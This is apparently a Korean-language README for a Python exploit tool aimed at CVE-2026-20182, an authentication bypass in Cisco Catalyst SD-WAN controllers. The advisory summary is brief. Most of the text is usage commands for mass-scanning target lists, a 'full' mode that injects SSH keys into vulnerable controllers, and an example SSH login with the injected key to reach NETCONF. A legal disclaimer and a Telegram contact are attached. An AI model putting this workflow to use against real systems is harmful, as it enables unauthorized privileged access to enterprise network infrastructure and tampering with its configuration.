CVE-2026-20182

Cisco Catalyst SD-WAN 피어링 인증 우회

CVE-2026-20182 — Cisco Catalyst SD-WAN 피어링 인증 우회

Cisco Catalyst SD-WAN Controller / Manager 피어링 인증 우회(CVE-2026-20182)에 대한 공인된 테스트용 평가 도구

취약점 요약

2026년 5월 권고: 컨트롤 연결 핸드셰이킹/피어링 인증의 결함으로 인해 인증되지 않은 원격 공격자가 인증을 우회하고 영향을 받는 시스템에 고권한 내부 액세스를 획득할 수 있습니다.

공격자는 영향받는 시스템에 조작된 요청을 전송합니다. 성공 시, 공격자는 내부 고권한 비‑root 계정으로 인증하고 NETCONF에 도달하여 SD-WAN 패브릭 구성을 조작할 수 있습니다.

권장 사항: 공식 공급업체 지침에 따라 Cisco 보안 패치를 적용하십시오. 관리 플레인 노출을 제한하고, 컨트롤 플레인 연결을 모니터링하며, 무단 구성 변경이 있는지 SD-WAN 컨트롤러를 감사하십시오.

연락처

Telegram: @KNxploited

콘솔 미리보기

도구: CVE-2026-20182.py

Cisco SD‑WAN vdaemon(UDP/DTLS 12346)에 대한 CVE-2026-20182 Python 3 익스플로잇 프레임워크.

수행 기능 (단계별)

패브릭 폴백: TEAR_DOWN 또는 매개변수 불일치 시 --no-fallback이 없으면 대체 domain/site 프리셋 (1,100), (1,1), (0,0) 재시도.

결과 계층 (주의 깊게 읽으세요)

중요

• check 모드 → 최대 계층 03(우회 프로브). 전체 익스플로잇 증거가 아닙니다.
• full 모드 → 계층 01(ssh_verified) 목표.
• 목록의 https://host → TCP 웹 힌트만(80/443). 443의 UDP DTLS가 아닙니다.

요구 사항

pip install -r requirements.txt

OpenSSL (시스템)

Windows

1. Win64 OpenSSL 3.x 또는 동등한 버전 설치
2. bin\을 PATH에 추가하거나 다음 설정:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

도구는 OpenSSL을 로드할 수 없으면 시작 시 종료됩니다.

빠른 시작

대화형 메뉴 (기본값)

python CVE-2026-20182.py

• 옵션 1–11 구성 후 0 = SCAN 시작
• 기본 실행 모드: check(안전한 우회 프로브)

비대화형 (자동화)

python CVE-2026-20182.py -y

실행 모드

CHECK — 우회 프로브만

python CVE-2026-20182.py -y --mode check

FULL — 키 주입 + SSH 확인 (승인된 대상만)

python CVE-2026-20182.py -y --mode full

CLI 참조 (모든 플래그 + 예제)

대상 및 작업자

-f / --file — 대상 목록 (기본값: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — 작업자 스레드 (1–200, 기본값 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — 목록에 없을 때 기본 DOMAIN_ID (기본값: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — 목록에 없을 때 기본 SITE_ID (기본값: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

모드 및 자동화

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — 대화형 메뉴 건너뛰기; CLI 값만 사용

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

SSH 확인

--no-ssh-verify — 주입 후 SSH 테스트 건너뛰기 (전체 모드에서 권장되지 않음)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — 830 후 TCP 22도 시도

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / 패브릭

--no-try-list-udp — UDP 12346만; 목록의 :port 무시

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — 실험실: 모든 호스트에 추가 UDP 포트

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — TEAR_DOWN 시 domain/site 재시도 비활성화

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

로깅

-v / --verbose — 각 프로토콜 TX/RX 메시지 로그

python CVE-2026-20182.py -y -v -f targets.txt --mode check

대화형 메뉴 (-y를 생략한 경우)

targets.txt 형식

한 줄에 하나의 대상. #으로 시작하는 줄은 무시됩니다.

예제 파일

# 실험실 컨트롤러 — 승인된 대상만
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

지원되지 않음: IPv6 (IPv4 / 호스트명만).

출력 파일

예제 SSH 명령 (계층 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

권장 워크플로우

1) 많은 호스트 스크리닝 (빠름)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

cisco_sdwan_03_bypass_only.jsonl 및 실시간 통계 Bypass only를 검토하십시오.

2) 선별된 호스트에서 익스플로잇 확인

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

cisco_sdwan_01_confirmed_ssh.jsonl 을 검토하십시오. ssh_verified: true가 있는 유일한 파일입니다.

3) 단일 호스트 디버그 (상세)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

실시간 텔레메트리 (스캔 중)

운영 참고 사항

• 기본 모드는 check — 자체적으로 키를 작성하거나 SSH를 증명하지 않습니다.
• 실제 성공 = full 모드에서만 ssh_verified=true.
• 패치됨 / 잘못된 패브릭 → CHALLENGE_ACK 후 자주 TEAR_DOWN 발생; 패브릭 폴백을 활성화하거나 목록에서 domain/site를 수정하십시오.
• 방화벽은 스캐너에서 컨트롤러로 UDP/12346(및 추가 목록 UDP 포트)을 허용해야 합니다.
• 공개 리포지토리에 sdwan_keys/ 또는 스캔 결과를 커밋하지 마십시오.

법적 고지

이 소프트웨어는 공인된 보안 연구, 방어적 평가 및 교육용으로만 사용됩니다.

소유하거나 운영하지 않는 시스템을 테스트하려면 명시적인 서면 허가를 받아야 합니다. 무단 시스템 액세스는 불법입니다. 작성자는 이 도구 사용으로 인한 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.

보안 테스트를 수행할 권한이 명시적으로 부여된 시스템 및 네트워크에서만 사용하십시오.

작성자: Nxploited (Khaled Alenazi)